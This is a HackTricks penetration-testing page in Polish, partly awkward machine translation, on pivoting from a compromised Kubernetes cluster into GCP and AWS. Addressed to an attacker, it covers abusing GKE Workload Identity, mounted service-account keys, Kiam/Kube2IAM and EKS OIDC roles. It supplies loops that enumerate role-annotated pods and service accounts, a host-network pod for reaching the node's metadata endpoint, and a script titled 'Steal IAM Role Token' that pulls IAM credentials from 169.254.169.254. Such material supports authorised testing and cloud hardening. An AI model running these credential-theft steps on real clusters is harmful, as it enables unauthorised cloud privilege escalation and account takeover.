Kubernetes Pivoting to Clouds

Support HackTricks

GCP

Jeśli uruchamiasz klaster k8s w GCP, prawdopodobnie chcesz, aby jakaś aplikacja działająca w klastrze miała dostęp do GCP. Istnieją 2 powszechne sposoby, aby to zrobić:

Montowanie kluczy GCP-SA jako sekret

Powszechnym sposobem na nadanie dostępu do aplikacji kubernetes do GCP jest:

  • Utworzenie konta usługi GCP

  • Przypisanie do niego pożądanych uprawnień

  • Pobranie klucza json utworzonego SA

  • Zamontowanie go jako sekret wewnątrz poda

  • Ustawienie zmiennej środowiskowej GOOGLE_APPLICATION_CREDENTIALS wskazującej na ścieżkę, gdzie znajduje się json.

Dlatego jako atakujący, jeśli skompromitujesz kontener wewnątrz poda, powinieneś sprawdzić tę zmienną środowiskową i pliki json z poświadczeniami GCP.

Powiązanie json GSA z sekretem KSA

Sposobem na nadanie dostępu do GSA klastrowi GKE jest powiązanie ich w ten sposób:

  • Utwórz konto usługi Kubernetes w tej samej przestrzeni nazw co twój klaster GKE, używając następującego polecenia:

Copy codekubectl create serviceaccount <service-account-name>
  • Utwórz tajny obiekt Kubernetes, który zawiera dane uwierzytelniające konta usługi GCP, do którego chcesz przyznać dostęp do klastra GKE. Możesz to zrobić za pomocą narzędzia wiersza poleceń gcloud, jak pokazano w następującym przykładzie:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Powiąż Kubernetes Secret z kontem serwisowym Kubernetes za pomocą następującego polecenia:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

W drugim kroku ustawiono poświadczenia GSA jako sekret KSA. Następnie, jeśli możesz odczytać ten sekret z wewnątrz klastra GKE, możesz eskalować do tego konta usługi GCP.

Tożsamość obciążenia GKE

Dzięki Tożsamości Obciążenia możemy skonfigurować konto usługi Kubernetes, aby działało jako konto usługi Google. Podsy działające z kontem usługi Kubernetes będą automatycznie uwierzytelniane jako konto usługi Google podczas uzyskiwania dostępu do interfejsów API Google Cloud.

Pierwsza seria kroków w celu włączenia tego zachowania to włączenie Tożsamości Obciążenia w GCP (kroki) i utworzenie SA GCP, które chcesz, aby k8s udawało.

  • Włącz Tożsamość Obciążenia na nowym klastrze

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Utwórz/Zaktualizuj nową pulę węzłów (klastry Autopilot nie potrzebują tego)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Utwórz konto usługi GCP do impersonacji z K8s z uprawnieniami GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Połącz się z klastrem i utwórz konto usługi, które chcesz użyć

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Powiąż GSA z KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Uruchom pod z KSA i sprawdź dostęp do GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Sprawdź następujące polecenie, aby uwierzytelnić się w razie potrzeby:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Jako atakujący wewnątrz K8s powinieneś szukać SAs z adnotacją iam.gke.io/gcp-service-account, ponieważ wskazuje to, że SA może uzyskać dostęp do czegoś w GCP. Inną opcją byłoby spróbować nadużyć każdego KSA w klastrze i sprawdzić, czy ma dostęp. Z GCP zawsze interesujące jest enumerowanie powiązań i poznanie jakie uprawnienia przyznajesz SAs wewnątrz Kubernetes.

To jest skrypt do łatwego iterowania po wszystkich definicjach podów szukając tej adnotacji:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (rola IAM dla Podów)

Jednym (przestarzałym) sposobem na przyznanie ról IAM Podom jest użycie serwera Kiam lub Kube2IAM. W zasadzie musisz uruchomić daemonset w swoim klastrze z rodzajem uprzywilejowanej roli IAM. Ten daemonset będzie tym, który przyzna dostęp do ról IAM podom, które tego potrzebują.

Przede wszystkim musisz skonfigurować które role mogą być dostępne wewnątrz przestrzeni nazw, a robisz to za pomocą adnotacji wewnątrz obiektu przestrzeni nazw:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Gdy przestrzeń nazw jest skonfigurowana z rolami IAM, Pods mogą mieć, możesz określić rolę, którą chcesz na każdej definicji podu, używając czegoś takiego jak:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Jako atakujący, jeśli znajdziesz te adnotacje w podach lub przestrzeniach nazw lub działający serwer kiam/kube2iam (prawdopodobnie w kube-system), możesz podrobić każdą rolę, która jest już używana przez pody i więcej (jeśli masz dostęp do konta AWS, wyenumeruj role).

Utwórz Pod z rolą IAM

Rola IAM, którą należy wskazać, musi znajdować się w tym samym koncie AWS co rola kiam/kube2iam, a ta rola musi mieć do niej dostęp.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

To jest zalecany sposób przez AWS.

  1. Przede wszystkim musisz utworzyć dostawcę OIDC dla klastra.

  2. Następnie tworzysz rolę IAM z uprawnieniami, które będą wymagane przez SA.

  3. Utwórz relację zaufania między rolą IAM a SA nazwą (lub przestrzeniami nazw, które dają dostęp do roli wszystkim SA w przestrzeni nazw). Relacja zaufania będzie głównie sprawdzać nazwę dostawcy OIDC, nazwę przestrzeni nazw i nazwę SA.

  4. Na koniec utwórz SA z adnotacją wskazującą ARN roli, a podsy działające z tą SA będą miały dostęp do tokena roli. Token jest zapisany w pliku, a ścieżka jest określona w AWS_WEB_IDENTITY_TOKEN_FILE (domyślnie: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Aby uzyskać aws za pomocą tokena z /var/run/secrets/eks.amazonaws.com/serviceaccount/token, uruchom:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Jako atakujący, jeśli możesz enumerować klaster K8s, sprawdź kontrola serwisowe z tym adnotacją, aby eskalować do AWS. Aby to zrobić, po prostu exec/create pod używając jednego z uprzywilejowanych kont serwisowych IAM i ukradnij token.

Ponadto, jeśli jesteś wewnątrz pod, sprawdź zmienne środowiskowe takie jak AWS_ROLE_ARN i AWS_WEB_IDENTITY_TOKEN.

Czasami Polityka Zaufania roli może być źle skonfigurowana i zamiast dawać dostęp AssumeRole do oczekiwanego konta serwisowego, daje go do wszystkich kont serwisowych. Dlatego, jeśli jesteś w stanie napisać adnotację na kontrolowanym koncie serwisowym, możesz uzyskać dostęp do roli.

Sprawdź następującą stronę po więcej informacji:

Znajdź Pod i SA z rolami IAM w klastrze

To jest skrypt do łatwego iterowania po wszystkich podach i definicjach sas szukając tej adnotacji:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

Poprzednia sekcja dotyczyła kradzieży ról IAM za pomocą podów, ale należy zauważyć, że Węzeł klastra K8s będzie instancją w chmurze. Oznacza to, że Węzeł prawdopodobnie będzie miał nową rolę IAM, którą możesz ukraść (zauważ, że zazwyczaj wszystkie węzły klastra K8s będą miały tę samą rolę IAM, więc może nie warto próbować sprawdzać każdego węzła).

Istnieje jednak ważny wymóg, aby uzyskać dostęp do punktu końcowego metadanych z węzła, musisz być na węźle (sesja ssh?) lub przynajmniej mieć tę samą sieć:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Wcześniej omówiliśmy, jak przypisać role IAM do Podów lub nawet jak uciec do Węzła, aby ukraść rolę IAM, którą instancja ma przypisaną.

Możesz użyć następującego skryptu, aby ukraść swoje nowe, ciężko wypracowane poświadczenia roli IAM:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Odniesienia

Wsparcie HackTricks

Last updated